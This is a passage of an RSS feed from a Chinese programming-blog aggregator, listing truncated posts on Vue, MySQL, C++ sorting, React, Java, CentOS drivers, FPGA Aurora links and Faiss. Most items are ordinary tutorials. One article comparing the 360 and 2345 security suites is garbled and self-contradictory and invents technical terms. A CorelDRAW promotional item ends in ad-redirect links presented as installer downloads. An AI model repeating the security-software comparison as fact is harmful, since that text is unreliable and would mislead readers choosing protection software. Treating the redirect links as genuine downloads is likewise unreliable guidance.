      <description>本文包含三部分：&#xA;1.下拉加多选框&#xA;2.升级—添加全部选项&#xA;3.需求改版完善 一、下拉加多选框 效果如下图：&#xA;封装如下： &amp;lt;template&amp;gt; &amp;lt;div class=&#34;select-checked&#34;&amp;gt; &amp;lt;!-- 下拉加多选框 --&amp;gt; &amp;lt;el-select v-model=&#34;value&#34; multiple placeholder=&#34;请选择&#34; :popper-append-to-body=&#34;false&#34; @remove-tag=&#34;removeTag&#34; &amp;gt; &amp;lt;el-option v-for=&#34;item in options&#34; :key=&#34;item.value&#34; :label=&#34;item.label&#34; :value=&#34;item.value&#34; &amp;gt; &amp;lt;el-checkbox v-model=&#34;item.check&#34; @change=&#34;isChecked(item)&#34;&amp;gt; {{ item.label }} &amp;lt;/el-checkbox&amp;gt; &amp;lt;/el-option&amp;gt; &amp;lt;/el-select&amp;gt; {{ value }} &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#39;SelectChecked&#39;, components: {}, props: { options:{ type: Array } }, data() { return { value: [] } }, methods: { // 多选框触发 isChecked(item) { if (item.</description>
    </item>
    <item>
      <title>MySQL详解</title>
      <link>https://bchobby.github.io/posts/e786a85f4018b1c6fed3fedef717f864/</link>
      <pubDate>Wed, 12 Oct 2022 15:51:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e786a85f4018b1c6fed3fedef717f864/</guid>
      <description>MySQL 1.初识mysql JavaEE：企业级Java开发 Web 前端（页面：展示：数据）后台 （连接点：连接数据库JDBC,连接前端（控制视图跳转，给前端传递数据））数据库（存数据，Txt,Excel,Word） 只会写代码，学好数据库，基本混饭吃！操作系统，数据结构与算法！当一个不错的程序猿！离散数学，数字电路，体系结构，编译原理。+实战经验，优秀程序猿 1.1 为什么学数据库 岗位需求 现在的世界，大数据时代，得数据者得天下被迫需求：存数据数据库是所有软件体系中最核心的存在 DBA 1.2 什么是数据库 数据库：(DB,DataBase) 概念:数据仓库，软件，安装在操作系统之（windows,Linux。mac）上的！SQL,可以存储大量的数据，500万!作用:存储数据，管理数据 Excel 1.3 数据库分类 关系型数据库：(SQL) MySQL, Oracle, sql Server, DB2, SQLite 通过表和表之间，行和列之间的关系进行数据的存储，学员信息表，考勤表，······ 非关系型数据库：(NoSQL) Not Only Redis, MongDB非关系型数据库，对象存储，通过对象自身的属性来决定。 DBMS(数据库管理系统) 数据库的管理软件，科学有效的管理我们的数据，维护和获取数据；MySQL ，数据管理系统！ 1.4 MySQL简介 MySQL是一个关系型数据库管理系统。发展史： 前世： 瑞典MySQL AB 公司 今身： 属于 Oracle 旗下产品 MySQL是最好的 RDBMS (Relational Database Management System，关系数据库管理系统) 应用软件之一。 开源的数据库软件&#xA;体积小，速度快，总体拥有成本低，招人成本比较低，所有人必须会～。&#xA;中小型网站，或者大型网站，集群&#xA;官网： https://www.mysql.com/&#xA;1.5 MySQL基本的命令行操作 mysql -uroot -p123456 -- 连接数据库 update mysql.user set authentication_string=password(&#39;123456&#39;) where user=&#39;root&#39; and host=&#39;localhost&#39;; -- 修改用户密码 flush privileges; -- 刷新权限 ---------------------------- -- 所有的语句都使用;结尾 show databases; -- 查看所有的数据库 mysql&amp;gt; use school; -- 切换数据库 use 数据库名 Database changed mysql&amp;gt; show tables; -- 显示数据库中所有表的信息 mysql&amp;gt; describe student; -- 显示表的详细信息 create database zyy; -- 创建一个数据库（这里过于简洁，后面详细介绍） exit -- 退出连接 -- 单行注释 /** 多行注释 */ 2.</description>
    </item>
    <item>
      <title>c&#43;&#43;的一些排序（数组，map）</title>
      <link>https://bchobby.github.io/posts/af9d5ad473f1fc5e6b87daf1d88ec242/</link>
      <pubDate>Wed, 12 Oct 2022 11:44:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af9d5ad473f1fc5e6b87daf1d88ec242/</guid>
      <description>一、数组 1、普通数组升序 数组升序&#xA;void displayArr(int* arr) { for(int i = 0; i &amp;lt; 10 ; i++) printf(&#34; %d\t&#34;,arr[i]); printf(&#34;\n&#34;); } void sortArr() { int arr[10] = {5,43,654,88,1,6,40,7777,13,5}; displayArr(arr); cout &amp;lt;&amp;lt; endl; //普通排序 sort(arr,arr + 10); printf(&#34;the normal sort is : &#34;); displayArr(arr); } console&#xA;the normal sort is : 1 5 5 6 13 40 43 88 654 7777 2、自定义升序 数组自定义&#xA;void displayArr(int* arr) { for(int i = 0; i &amp;lt; 10 ; i++) printf(&#34;</description>
    </item>
    <item>
      <title>使用 React 为代码块创建打字机效果</title>
      <link>https://bchobby.github.io/posts/281f4099a6bb0f4efce5d4c27383033c/</link>
      <pubDate>Wed, 12 Oct 2022 11:15:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/281f4099a6bb0f4efce5d4c27383033c/</guid>
      <description>使用打字机效果，单词一次显示一个字母，而不是一次显示所有单词，使文本看起来好像是实时书写的。您可以在Codepen 的登录页面上找到代码块打字机效果的示例，该示例使用语法高亮（一种特殊的颜色格式）来轻松地以代码的形式显示书面文本。&#xA;在本文中，我们将学习如何使用 React 从头开始构建类似的代码块打字机效果。我们还将演示一种使用预先存在的打字机包的替代方法。要学习本教程，您需要具备 React 的基本知识。我们将介绍以下内容：&#xA;安装依赖项&#xA;打造打字机效果&#xA;打字机展示区&#xA;添加闪烁的光标&#xA;将打字机效果添加到文本&#xA;删除和重新输入文本&#xA;高亮代码语法&#xA;使用打字库&#xA;您可以在此 GitHub 存储库中找到本教程的完整源代码。让我们开始吧！&#xA;安装依赖项 如果您还没有安装 React，请在您的系统中导航到您的项目目录，打开一个命令行窗口，然后在其中运行以下 bash 脚本：&#xA;npx create-react-app typewriter 上面的命令创建了一个 React 项目文件夹，该文件夹调用typewriter了构建我们的应用程序所需的所有依赖项。为了轻松设计我们的应用程序，我们将使用 Tailwind CSS。您可以通过在 CLI 中运行以下命令来安装 Tailwind CSS：&#xA;npm install -D tailwindcss postcss autoprefixer npx tailwindcss init -p 安装完成后，修改tailwind.config.js文件以允许支持jsx元素，如下所示：&#xA;/** @type {import(&#39;tailwindcss&#39;).Config} */ module.exports = { content: [ &#34;./src/**/*.{js,jsx,ts,tsx}&#34;, ], theme: { extend: {}, }, plugins: [], } 最后，将以下 Tailwind CSS 指令添加到 的顶层index.</description>
    </item>
    <item>
      <title>Java控制台简易计算器</title>
      <link>https://bchobby.github.io/posts/8782e99540fb278b47fdfed8c84d78b9/</link>
      <pubDate>Wed, 12 Oct 2022 11:10:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8782e99540fb278b47fdfed8c84d78b9/</guid>
      <description>Java控制台简易计算器（两数运算） 源代码 使用while循环，Scanner方法 ，Switch语句实现交互效果&#xA;package com.ge.method; import java.util.Scanner; public class Demo04 { //计算器 public static void main(String[] args) { //定义一个变量为true，while循环运行，变量为false while循环终止 boolean test = true; while (test) { System.out.println(&#34;======= 计算器 ========&#34;); System.out.println(&#34;=======输入1计算加法=======&#34;); System.out.println(&#34;=======输入2计算减法=======&#34;); System.out.println(&#34;=======输入3计算乘法=======&#34;); System.out.println(&#34;=======输入4计算除法=======&#34;); System.out.println(&#34;======= 输入5退出 =======&#34;); //创建一个扫描器对象，用用于接收键盘数据 Scanner sc = new Scanner(System.in); int i = sc.nextInt(); //定义两个变量用于接收两个数 int first; int two; //通过 Switch语句 选择加减乘除进行计算 switch (i) { case 1: //加法 System.out.print(&#34;请输入第一个数：&#34;); first = sc.nextInt(); System.out.print(&#34;请输入第二个数：&#34;); two = sc.</description>
    </item>
    <item>
      <title>360安全卫士比2345安全卫士好</title>
      <link>https://bchobby.github.io/posts/c5b1c0ec5277ffd525fe2b557656bcb5/</link>
      <pubDate>Wed, 12 Oct 2022 07:46:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5b1c0ec5277ffd525fe2b557656bcb5/</guid>
      <description>360安全卫士和2345安全卫士，相信这两款软件都是现在非常流行的软件了，无论是使用频率还是使用率都非常高。但是两者的区别也比较明显,360安全卫士有自己的优势和劣势。下面来看一下两者的对比。首先从功能上来说,360安全卫士是一款功能很强大的工具软件，几乎没有弱点。并且360安全卫士也支持用户自定义设置，如果安装一个软件是为了更好解决电脑安全问题的话，那么把手机和电脑上各种软件都装上360安全卫士就是一个很好的解决办法了。在这两款产品中，可以看到360都支持自定义设置以及自带卸载功能等。但是从实际体验来看，各有自己的优势和不足之处:139反病毒引擎是专门针对移动端、电脑端的木马病毒防护软件，而这款2345的反病毒引擎则采用了内置 SNMP (System Network Protection Generator)技术。而在用户使用过程中发现这两款软件有很多不同点:360提供了很多自定义设置选项以及自带卸载功能;2345则采用了最经典且实用的360安全卫士和搜狗百科（QQ浏览器）等多种常用软件。下面我们就来看一下这两款产品都有哪些不足之处吧！&#xA;一、360安全卫士支持自定义设置&#xA;360安全卫士，对于电脑的一些设置比较实用，例如病毒检测、用户隐私保护、反病毒管家等功能。但是有一些功能只能在360安全卫士上实现。比如反病毒管家可以限制恶意代码和反病毒软件对用户电脑的访问。但360安全卫士可以限制你电脑中使用的病毒数量、杀毒软件的服务权限以及病毒处理机制。其中反病毒引擎是最实用的功能之一，一般手机端的病毒防护一般都是针对手机 APP的。因此电脑中使用一款360安全卫士能够有效地帮助电脑安全防护手机端。所以360安全卫士虽然是一款免费软件，但是支持用户自定义设置这个功能还是很实用的。另外360反病毒卫士支持一些系统自订选项：例如 Windows的自动更新或者其他支持自定义功能的系统配置文件。比如 Windows 7系统自订的应用管理器、 Windows 7/8系统自订的文件管理器系统自订的更新、其他支持自定义设置的系统配置文件等等。而从具体应用管理器显示内容来看，主要是针对一些系统使用频率比较高的操作以及系统服务等设置内容。这些应用管理器中基本上是没有实用功能的。&#xA;二、自带卸载功能&#xA;360安全卫士自带卸载管理器，用户可以将未安装软件卸载到360桌面上，也可以将未安装软件卸载到360管家里，方便用户轻松完成卸载。我们将卸除部分软件在使用中所产生的垃圾删除掉后再安装到桌面上。其实从这个功能本身来说也是非常方便实用。2345安全网格中拥有该功能的软件很多了。不过安装前一定要确认是支持卸载功能的。不过在实际使用中发现两款软件均有卸载功能，并没有什么明显区别。因此想要选择卸载能力强的软件的话，最好选择360安全网格中的卸载功能更为合适。&#xA;三、不推荐使用360安全卫士作为网络安全工具&#xA;360安全卫士是一款功能强大的网络安全工具，而其最大的缺点就是没有针对木马以及病毒防护能力。虽然说360安全卫士对于安卓手机用户来说，安装程序非常方便，但是当360安全卫士出现问题的时候却不知道如何解决。而且有些时候，由于360安全卫士过于简单和粗暴，很容易让用户对其产生误解。因此在使用过程中，很多用户都会对此有一些意见甚至诟病。首先从杀毒层面来讲，现在的软件除了最基本的木马拦截外，还多了很多病毒检测功能。在某些情况下如果用户发现自己电脑存在病毒的话，只需要使用360安全卫士进行杀毒即可快速清除恶意软件并排除电脑上已经感染的病毒或木马。如果不想让一个网站成为木马攻击的目标的话，那就可以使用2345安全卫士进行全面防护了！所以说360安全卫士没有针对所有的木玛病毒进行防护而导致360并不能真正起到杀毒的作用！其次从网络安全工具来看，现在很多人都喜欢在电脑上下载各种软件来阅读、浏览网页、下载游戏、玩游戏等等。而这些软件往往存在着大量后门程序，对于用户来说存在着很大安全隐患！&#xA;四、用户安装并不困难&#xA;360安全卫士和2345安全卫士都可以在安装界面看到一个非常简单的“应用市场”，对于想要使用软件的用户来说非常友好。用户只需要在浏览器上打开360客户端和360安全卫士即可安装。360客户端只有“360桌面”一种安装方式，其它方式可以进行下载、安装和使用。而且，用户还可以选择在电脑或者手机端安装。2345用户可以选择360应用市场安装或者360浏览器安装。两款软件都可以在软件内实现本地卸载、安装以及导出工具等操作。而且都不需要用户进行额外操作就能实现安装功能以及卸载等操作。不过需要注意的是：安装程序也会占用一定的内存。可以看出360安全卫士是支持本地卸载和导出工具这两种方式分别满足一部分用户需求。而2345则是支持本地导出工具这一方式方便一部分用户。&#xA;五、总结与建议：&#xA;在对两款产品的实际体验中,360安全卫士都有自己的优势，但是2345安全卫士在功能上要更加全面一些。360安全卫士对电脑病毒的处理速度要比2345更快，并且也提供了多种自定义设置。对于用户的使用需求和功能需要有一个明确的认识。所以对于这两款产品的对比我们暂且不说哪个更优，但是我们要知道谁是优！所以才更应该关注二者的差异和不足之处吧！综上所述:360安全工程师在两款产品中都非常出色，不管是从功能都非常强大以及实用功能都非常多。但是由于2345安全卫士采用了最新的 SNMP技术和360安全卫士有很多不同之处。所以这款产品在使用过程中也需要做更多的调整和改进！</description>
    </item>
    <item>
      <title>CorelDRAW2022订阅版本最新更新内容</title>
      <link>https://bchobby.github.io/posts/648cf885d27287045ec0f6077c6e0ad0/</link>
      <pubDate>Wed, 12 Oct 2022 03:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/648cf885d27287045ec0f6077c6e0ad0/</guid>
      <description>CDR2022年9月版本更新内容 利用引人注目的全新设计模式，将您的创意提升到新的高度，并探索50多个实用专案，协助您提升技能。新的缩放工具可在调整物件比例时提供完整的灵活性和精确度，而汇出工作流程的增强功能可加快产生结果的速度。从CorelDRAW Ideas Portal思想门户中获得客户要求的其他一些增强功能，包括web文件支持、重新设计的“新建文档”对话框、用户界面增强功能等。&#xA;CorelDRAW是主要用于印刷和印刷输出人员的排版软件。CorelDraw是图形设计人员必不可少的矢量绘图和排版软件。广泛用于商标设计，徽标制作，模型图，插图图，排版和分色输出等许多领域。&#xA;该软件界面设计友好，操作精微细致;它提供了设计者一整套的绘图工具包括圆形、矩形、多边形、方格、螺旋线，并配合塑形工具，对各种基本以作出更多的变化，如圆角矩形，弧、扇形、星形等。同时也提供了特殊笔刷如压力笔、书写笔、喷洒器等，以便充分地利用电脑处理信息量大，随机控制能力高的特点。&#xA;该软件的文字处理与图象的输出输入构成了排版功能;文字处理是迄今所有软件最为优秀的；其支持了大部分图象格式的输入与输出；几乎与其他软件可畅行无阻地交换共享文件。所以大部分与用PC机作美术设计的都直接在CorelDraw中排版，然后分色输出。&#xA;该软件让使用者轻松应对创意图形设计项目;市场领先的文件兼容性以及高质量的内容可帮助使用者将创意变为专业作品：从与众不同的徽标和标志到引人注目的营销材料以及令人赏心悦目的Web图形，应有尽有。&#xA;为便于设计需要，该软件提供了一整套的图形精确定位和变形控制方案。这给商标、标志等需要准确尺寸的设计带来极大的便利。&#xA;市场领先的文件兼容性以及高质量的内容可帮助您将创意变为专业作品：从与众不同的徽标和标志到引人注目的营销材料以及令人赏心悦目的Web图形，应有尽有。&#xA;CorelDRAW界面设计友好，空间广阔，操作精微细致。它提供了设计者一整套的绘图工具包括圆形、矩形、多边形、方格、螺旋线，等等，并配合塑形工具，对各种基本以作出更多的变化，如圆角矩形，弧、扇形、星形等。同时也提供了特殊笔刷如压力笔、书写笔、喷洒器等，以便充分地利用电脑处理信息量大，随机控制能力高的特点。&#xA;为便于设计需要，CorelDRAW提供了一整套的图形精确定位和变形控制方案。这给商标、标志等需要准确尺寸的设计带来极大的便利。 颜色是美术设计的视觉传达重点；CorelDRAW的实色填充提供了各种模式的调色方案以及专色的应用、渐变、图纹、材质、网格的填充，颜色变化与操作方式更是别的软件都不能及的。而CorelDRAW的颜色匹管理方案让显示、打印和印刷达到颜色的一致。&#xA;CorelDRAW的文字处理与图像的输出输入构成了排版功能。文字处理是迄今所有软件更优秀的。其支持了绝大部分图像格式的输入与输出。几乎与其他软件可畅行无阻地交换共享文件。所以大部分与用PC机作美术设计的都直接在CorelDRAW中排版，然后分色输出。 CorelDRAW深受全球各地使用者与企业的信赖，以专业的效果展现他们的构思，提升商业效益。&#xA;从以下例子可得知CorelDRAW是如何协助使用者输出各种不同的成品： 营销文宣 无论是对于初级或专业级设计师，CorelDRAW都是理想的工具，协助设计师制作营销文宣。从标志、产品与企业品牌的识别图样，乃至于宣传手册、平面广告与电子报等特定项目，CorelDRAW能让您自行建立宣传文宣，设计宣传活动数据，既能节省时间、成本，更能展现高度创意。&#xA;服饰 CorelDRAW是服饰业的理想解决方案。具有多种强大的工具和功能，准确性高且使用简便，能够协助建立服饰设计，将服装发表上市，深受设计师与打版师的信赖。愈来愈多的主要服装设计公司采用CorelDRAW作为打样和设计的解决方案。&#xA;招牌制作 CorelDRAW具有建立各式各样招牌所需的功能。其中包含超过100 种的滤镜，可用于汇入和汇出美工图案与工具，轻松建立自订的图形并配置文字。包含招牌设计人员长久以来需求的多项全新功能与增强功能。因此，CorelDRAW是招牌制作人员喜爱的图形软件包。&#xA;雕刻与计算机割字 CorelDRAW是雕刻、奖杯、奖牌制作与计算机割字等业界喜爱的绘图解决方案。&#xA;CorelDRAW 2022的主要功能有哪些? 安装CorelDRAW 2022后，我们就可以使用它进行创作和设计了。下面我带大家了解一下CorelDRAW 2022的主要功能有哪些&#xA;1、页面布局&#xA;CorelDRAW SE 2021新增了多页视图的功能，在查看菜单中，勾选多页视图，就可以启用多页视图。在多页视图中，我们可以同时查看并编辑多个页面的内容。同时，我们还可以使用标尺、辅助线，网格等工具，这些小工具能够帮助我们快速对齐内容，准确地将需要的内容放到正确的位置上，十分方便。&#xA;图5：页面布局&#xA;2、照片编辑&#xA;CorelPHOTO-PAINT具备基于图层的照片处理能力，将照片导入编辑器后，我们可以使用预设效果轻松实现照片的调光调色。同时，编辑器还提供了涂抹消除，图像校正、照片克隆、颜色替换等功能。&#xA;图6：编辑照片&#xA;3、自定义工作区&#xA;①CorelDRAW SE 2021中预设了标准、触摸和专长工作区，我们可以在软件的欢迎页面进行切换。为了满足不同用户在不同场景下的使用习惯，软件还提供了自定义工作区的功能。&#xA;②运行软件，点击工具菜单，再点击选项，然后点击自定义，会弹出自定义窗口。在这个窗口中，可以自定义CorelDRAW 的外观、命令栏、命令和调色板。&#xA;图7：自定义工作区&#xA;4、排版&#xA;CorelDRAW SE 2021的文本工具不仅拥有丰富的字体字形库，还集成了OpenType功能，它提供了数字、字母、连笔字等的替换功能，可以协助排版用户更快地设计排版。&#xA;图8：排版功能&#xA;本篇文章为大家详细介绍了CorelDRAW2022功能，CorelDRAW2022的主要功能有哪些。对于平面设计师来说，一款实用的设计软件是必不可少的。&#xA;CorelDRAW2022 订阅版 mac - 安装包下载:&#xA;https://wm.makeding.com/iclk/?zoneid=49497&#xA;CorelDRAW2022 订阅版 win - 安装包下载:&#xA;https://wm.makeding.com/iclk/?zoneid=49498</description>
    </item>
    <item>
      <title>centos安装intel i219v网卡驱动</title>
      <link>https://bchobby.github.io/posts/af00d306939833bbb5c62a5a68466cd1/</link>
      <pubDate>Wed, 12 Oct 2022 02:07:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/af00d306939833bbb5c62a5a68466cd1/</guid>
      <description>先查看的网卡型号&#xA;lspci | grep -i ethernet&#xA;针对i219-v网卡的linux版本的驱动下载地址&#xA;https://downloadcenter.intel.com/zh-cn/download/15817?_ga=1.159975677.114505945.1484457019&#xA;下载完之后，通过u盘拷到安装centos的电脑里面，也只能通过u盘，移动硬盘这些工具了，因为没有联网啊&#xA;检查依赖环境&#xA;复制代码&#xA;[bigdata@slave3 ~]$ rpm -qa | grep kernel&#xA;kernel-tools-libs-3.10.0-693.el7.x86_64&#xA;kernel-headers-3.10.0-693.el7.x86_64&#xA;abrt-addon-kerneloops-2.1.11-48.el7.centos.x86_64&#xA;kernel-tools-3.10.0-693.el7.x86_64&#xA;kernel-devel-3.10.0-693.el7.x86_64&#xA;kernel-3.10.0-693.el7.x86_64&#xA;[bigdata@slave3 ~]$ rpm -qa | grep gcc&#xA;gcc-4.8.5-16.el7.x86_64&#xA;gcc-gfortran-4.8.5-16.el7.x86_64&#xA;libgcc-4.8.5-16.el7.x86_64&#xA;gcc-c+±4.8.5-16.el7.x86_64&#xA;复制代码&#xA;把安装包解压&#xA;复制代码&#xA;[bigdata@slave3 Downloads]$ ls&#xA;e1000e-3.4.0.2.tar.gz em-7.6.1.tar.gz&#xA;[bigdata@slave3 Downloads]$ ll&#xA;total 560-rw-r–r–. 1 bigdata bigdata 299609 May 25 21:28 e1000e-3.4.0.2.tar.gz-rw-r–r–. 1 bigdata bigdata 267524 May 25 22:01 em-7.6.1.tar.gz&#xA;[bigdata@slave3 Downloads]$ tar -zxf e1000e-3.4.0.2.tar.gz</description>
    </item>
    <item>
      <title>vue ui 创建项目</title>
      <link>https://bchobby.github.io/posts/c57b3e10201d5fd373a8c460ccd01a70/</link>
      <pubDate>Tue, 11 Oct 2022 22:06:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c57b3e10201d5fd373a8c460ccd01a70/</guid>
      <description>注意：首先要确定安装了 node.js ，并且全局安装了脚手架 vue-cli 。然后才能继续以下步骤：&#xA;1、在你要创建项目的文件夹里打开 cmd ，输入 vue ui：&#xA;2、跳转到下面的页面，点击“在此创建新项目”：&#xA;3、输入项目名，点击“下一步”：&#xA;4、选择手动配置，下一步：&#xA;5、选择以下的配置，然后下一步：&#xA;6、按照如下配置，点击创建项目：&#xA;7、 这里我选择不保存为预设：（按照你自己需求）&#xA;8、安装依赖：&#xA;9、安装 axios ：&#xA;10、可以进入到项目，输入 npm run serve 运行：&#xA;11、运行成功：</description>
    </item>
    <item>
      <title>Ant-design-vue更换主题颜色</title>
      <link>https://bchobby.github.io/posts/91bc9cfc7ae9e8d642168c46b2375a6a/</link>
      <pubDate>Tue, 11 Oct 2022 21:40:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91bc9cfc7ae9e8d642168c46b2375a6a/</guid>
      <description>package.json&#xA;&#34;antd-theme-generator&#34;: &#34;^1.2.5&#34;, &#34;antd-theme-webpack-plugin&#34;: &#34;1.2.0&#34;, &#34;less&#34;: &#34;^3.9.0&#34;, &#34;less-loader&#34;: &#34;^4.1.0&#34;, //如果高版本的less不能实现主题颜色切换less就换成2.7.3版本的 //less这个2.7.3版本应该是版本太低有个bug，在我的项目中页面加载完后会闪一下变成白屏再重新加载 vue.config.js&#xA;const AntDesignThemePlugin = require(&#34;antd-theme-webpack-plugin&#34;); const options = { antDir: path.join(__dirname, &#34;./node_modules/ant-design-vue&#34;), //antd包位置 stylesDir: path.join(__dirname, &#34;./src/styles&#34;), //主题文件所在文件夹 varFile: path.join(__dirname, &#34;./src/styles/variables.less&#34;), // 自定义默认的主题色 mainLessFile: path.join(__dirname, &#34;./src/styles/index.less&#34;), // 项目中其他自定义的样式（如果不需要动态修改其他样式，该文件可以为空） themeVariables: [ &#34;@primary-color&#34;, &#34;@success-color&#34; ], //要改变的主题变量 indexFileName: &#34;./public/index.html&#34;, // index.html所在位置 outputFilePath: path.join(__dirname, &#34;./public/color.less&#34;), //提取的less文件输出到什么地方 generateOnce: false // 是否只生成一次（if you don&#39;t want to generate color.less on each chnage in code to make build process fast in development mode, assign it true value.</description>
    </item>
    <item>
      <title>解决VUE打包后与nginx代理出现加载速度超级慢的解决方法</title>
      <link>https://bchobby.github.io/posts/20d815680698ecd4bd1833e896c47591/</link>
      <pubDate>Tue, 11 Oct 2022 17:45:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/20d815680698ecd4bd1833e896c47591/</guid>
      <description>其中的原因是我们在vue打包的过程中打包了一些没有用的东西，造成数据量过大使得页面加载速度超级慢的原因，最常见的页面加载速度就就 看板，这种页面。</description>
    </item>
    <item>
      <title>Aurora的工程化问题解决方案</title>
      <link>https://bchobby.github.io/posts/62b0b1d4af56dd41aefc37b827820a1b/</link>
      <pubDate>Tue, 11 Oct 2022 17:14:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62b0b1d4af56dd41aefc37b827820a1b/</guid>
      <description> Aurora的工程化问题解决方案 前言 ​针对Aurora在实际工程的例化应用问题上，本人经过以往经验进行可行性方案分享，其中有关Aurora的例化过程及不进行详细介绍，可自行查询其他博客学习，望补充指正，谢谢。&#xA;（补充：该文里的aurora默认为全双工模式）&#xA;简介 ​本文主要阐述Aurora协议在多通道例化上的应用问题，以及针对实际硬件的GTH通信质量较差（ibert眼图测试），如何继续利用Aurora的均衡模式补救，已达到正常通信的标准。&#xA;案例 场景一 主板卡与多个子板卡的Aurora通信，主板卡内需对Aurora进行多通道例化，其中主板卡与单个子板卡是单通道Aurora通信。&#xA;问题描述 设置好单通道Aurora的IP后，生成IP examp design工程，对顶层的端口进行修改后，进行多次例化后综合，place design 报错，如下：&#xA;aurora IP 设置 aurora 顶层端口修改 ​ aurora例化 ​&#xA;place design 报错 ​ 分析解决 根据报错的文件位置找到如下模块：&#xA;place design error中指出驱动gt_common必须是相同的时钟或是邻近的时钟。&#xA;简单的说多次例化，导致gt_common模块被多次例化，gt_refclk（gt参考时钟）是由IBUFDS_GTE3转换来，这里对应了多个qpll1_refclk端口，这里在实际资源布线中不需要多次定义使用qpll_refclk，因此将gt_commmn模块单独放到顶层，不用和aurora一起例化多次。这里涉及到aurora64b66b用到的gt参考时钟内部采用qpll（详见https://zhuanlan.zhihu.com/p/494758359）锁相， 其中相邻的quad可以共用同一个gt_refclk，这多次例化的aurora channel 分布在相邻的两个quad，可以共用一个gt_refclk时钟资源。&#xA;顶层代码修改后如下：&#xA;该警告可以不用管，不会影响aurora的通信，若需要可以修改所指文件，将下图约束注释重新综合即可。&#xA;场景二 板卡之间的ibert测试（5Gbps下）眼图结果如下：&#xA;ibert眼图测试 通过调整advanced settings里的红色红框的参数，主要是调整spread spectrum clocking（扩频时钟），具体需要同硬件工程师交流，因为导致眼图信号差的原因有很多，该方案主要是硬件上没有什么优化空间的情况下采用。 ibert IP核 通过设置后眼图正常，如下 设置后ibert眼图测试 问题描述 问题是aurora64b66b里的advanced不支持调整扩频时钟，即便降低线速率也无法稳定通信，因此无法使用aurora64b66b，如何继续使用aurora协议。&#xA;分析解决 方法如下：&#xA;aurora64b66b替换为aurora8b10b；aurora8b10b的设置里让gt子模块放到IP的外边，可供设置，此处打钩如下；找到aurora8b10b_0_gt的IP，修改里面的advanced设置，其中扩频时钟就可以设置了，只需将ibert眼图测试成功的参数配置进去后更新生成IP即可。&#xA;transceiver IP 本人通过实践验证该方法可以在速率降到2.5Gbps下的aurora8b10b解决，但是由于改动了相关的参数，由于原本信道的通信质量较差，两板卡间的aurora链路可能不能自适应建立，channel_up信号不能保持置1，解决方法是需在两板卡上电后分别对aurora模块中的GT_RESET进行长约1ms以上的高电平复位（本人使用1s复位）。&#xA;aurora8b10b通信测试，channel_up一直为1，链路正常 </description>
    </item>
    <item>
      <title>向量数据库入坑指南：使用 Faiss 实现一个最简单的向量检索功能 (二)</title>
      <link>https://bchobby.github.io/posts/1142e604192727646f0ad516b954a959/</link>
      <pubDate>Tue, 11 Oct 2022 16:39:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1142e604192727646f0ad516b954a959/</guid>
      <description>上一篇内容中，我们了解了什么是 Faiss，以及如何将文本内容转换为向量数据。本篇文章中，我们来使用 Faiss 实现向量检索功能。&#xA;使用 Faiss 实现最简单的向量检索功能 接下来，我们将使用 Faiss 实现一个小功能，针对哈利波特小说全集内容，接触向量检索技术，完成相似内容搜索的功能。与我们使用 “CTRL+F” 或者把数据倒入 MySQL，使用 “%LIKE%” 去进行全文匹配不同，我们的工具性能，将会远远高于一般的检索方式。&#xA;为了能够得到“快到飞起”的执行效率，在使用 Faiss 查询大量数据之前，我们首先需要和其他追求效率的数据库软件一样，为数据建立索引，我们先来看看最简单的平面索引：IndexFlatL2。&#xA;借助平面索引，完成基础的相似内容查询功能 Faiss 中最简单的索引，便是没有使用任何花哨技巧（压缩、分区等）的平面索引：IndexFlatL2。当我们使用这种索引的时候，我们查询的数据会和索引中所有数据进行距离计算，获取它们之间的 L2 距离（欧几里得距离）。因为它会尽职尽责的和所有数据进行比对，所以它是所有索引类型中最慢的一种，但是也是最简单和最准确的索引类型，同时，因为类型简单，也是内存占用量最低的类型。而它采取的遍历式查找，也会被从业者打趣称之为“暴力搜索”。&#xA;查询数据都在空间中的进欧式距离计算 在上文中，我们已经准备好了 768 维度的高维向量数据，接下来，我们就用这些数据来建立我们的“第一堆向量数据”的索引：&#xA;import faiss dimension = sentence_embeddings.shape[1] index = faiss.IndexFlatL2(dimension) index.add(sentence_embeddings) 将我们数据的维度信息传递给 faiss.IndexFlatL2 函数，建立一个空的索引容器，然后使用 index.add(sentence_embeddings) 将我们在之前处理好的向量数据灌入这个索引容器中。&#xA;执行完毕上面的代码之后，我们执行 index.ntotal 来查看索引的数据是否正确：&#xA;# &amp;gt;&amp;gt;&amp;gt; index.ntotal 60028 确认所有数据都被索引之后，我们来写一段最简单的程序，来进行查询，为了演示“相似性检索”，而不是“关键词匹配”，我们来搜索一个离谱的原文肯定没有的内容“哈利波特猛然睡醒”：&#xA;topK = 5 search = model.encode([&#34;哈利波特猛然睡醒&#34;]) D, I = index.search(search, topK) df[&#39;sentence&#39;].iloc[I[0]] 执行程序之后，我们将能够看到比较符合预期的神奇结果：&#xA;# &amp;gt;&amp;gt;&amp;gt; topK = 5 # &amp;gt;&amp;gt;&amp;gt; search = model.</description>
    </item>
    <item>
      <title>通过 pdftoppm 实现PDF转图片</title>
      <link>https://bchobby.github.io/posts/145924026cea622db2961d3aea7ac98c/</link>
      <pubDate>Tue, 11 Oct 2022 15:10:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/145924026cea622db2961d3aea7ac98c/</guid>
